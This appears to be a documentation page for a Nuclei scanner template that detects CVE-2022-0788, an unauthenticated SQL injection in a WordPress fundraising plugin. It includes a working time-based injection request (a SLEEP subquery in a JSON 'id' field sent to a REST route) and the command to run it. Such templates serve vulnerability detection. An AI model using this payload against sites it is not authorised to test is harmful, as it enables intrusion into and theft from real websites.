WordPress WP Fundraising Donation and Crowdfunding Platform <1.5.0 - SQL Injection
ID: CVE-2022-0788
Severity: critical
Author: theamanrawat
Tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,wp-fundraising-donation,unauth,wpscan,wpmet
Description
Section titled “Description”WordPress WP Fundraising Donation and Crowdfunding Platform plugin before 1.5.0 contains an unauthenticated SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
YAML Source
Section titled “YAML Source”id: CVE-2022-0788
info: name: WordPress WP Fundraising Donation and Crowdfunding Platform <1.5.0 - SQL Injection author: theamanrawat severity: critical description: | WordPress WP Fundraising Donation and Crowdfunding Platform plugin before 1.5.0 contains an unauthenticated SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via a REST route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or manipulation of the WordPress database. remediation: | Update WP Fundraising Donation and Crowdfunding Platform to version 1.5.0 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/fbc71710-123f-4c61-9796-a6a4fd354828 - https://wordpress.org/plugins/wp-fundraising-donation/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0788 - https://github.com/ARPSyndicate/kenzer-templates - https://github.com/cyllective/CVEs classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-0788 cwe-id: CWE-89 epss-score: 0.03633 epss-percentile: 0.91467 cpe: cpe:2.3:a:wpmet:wp_fundraising_donation_and_crowdfunding_platform:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: wpmet product: wp_fundraising_donation_and_crowdfunding_platform framework: wordpress tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,wp-fundraising-donation,unauth,wpscan,wpmet
http: - raw: - | @timeout: 10s GET /index.php?rest_route=/xs-donate-form/payment-redirect/3 HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"id": "(SELECT 1 FROM (SELECT(SLEEP(6)))me)", "formid": "1", "type": "online_payment"}
matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains(body, "Invalid payment.")' condition: and# digest: 4a0a00473045022100c955ab42e5945e62a0bc16d61c497ab3f14ab23e826b542ee19dd8c1999f1b3902206e088bb26f290b826186c4c0702f6789efef7e71464737a283e08e916437755b:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0788.yaml"